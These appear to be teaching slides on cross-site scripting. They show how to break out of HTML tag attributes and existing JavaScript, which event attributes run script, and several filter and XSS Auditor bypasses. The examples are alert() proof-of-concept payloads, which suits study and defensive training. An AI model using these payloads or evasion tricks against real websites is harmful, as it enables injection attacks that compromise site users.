



Injecting into HTML Tag Parameters

- Sometimes user input ends up inside tags like:
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- In this case, if you want to script to execute you need to break out of the tag so you can start a new one
 - Payload: "><script>alert(0)</script>
 - Injected tag:
 - <script>alert(0)</script>">
 - <script>alert(0)</script>
- What if you cant use the "<" or ">" symbols?
 - You wont be able to break out of the tag, but you may be able to break out of the parameter
 - Payload: " onmouseover="alert(0)" blah="
 - Injected tag:
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Injecting into Existing JavaScript

Sometimes user input ends up inside existing JavaScript:

```
<script>
    $(document).ready( function() {
        if(window.location.hash) {
            var dogs = '[user input]';
            document.getElementById("dogs").innerHTML = dogs;
        }
     });
</script>
```

- In this case, if you want your script to execute you need to insert valid
 JavaScript so the existing script executes without errors
 - Payload: '; alert(0); var a = '
 Injected line: var dogs = ''; alert(0); var a = '';
- How else could you insert alert(0);?

Life Beyond the Script Tag

- There are many ways to get script execution besides using the script tag
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 - <iframe>
 - <body>
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 - Many more
- Each has their own benefits, quirks, and restrictions

HTML Event Attributes

- onload fires after the page has finished loading
- onerror fires when an error occurs while loading an external file
- onmouseover fires when the mouse pointer moves over the element
- onbeforeunload script to be run when the document is about to be unloaded
- onkeydown fires when a user is pressing a key
- Many more

XSS Filter Bypass

- No spaces
 - <img/onerror="alert(0)"/src=0>
 - Use other whitespace characters like tab
- Certain characters blocked
 - User JS to convert characters
 - String.fromCharCode(88,83,83)
 - Let the parsing engine convert characters
 - Figure out if the character is being interpreted by the JS engine or HTML engine
 - This affects which way you can represent characters
 - \x[code point] \u[code point] %[code point] &#[code point]

Practice!

Other Weirdness

- XSS Auditor Bypass
 - <script>x = "</script><svg><script>alert(1)+"";
- XSS through SVG demo
- XSS through GIFs demo

Shortening Payloads

- Use an external script
 - Host it somewhere and import it
- If you're building a payload make the variable names short
 - exploit= \rightarrow e=
- If going through a restricted form change the size parameter in the tag

Resources

- https://www.owasp.org/index.php/XSS Filter
 Evasion Cheat Sheet
- http://www.w3schools.com/tags/ref_eventatt ributes.asp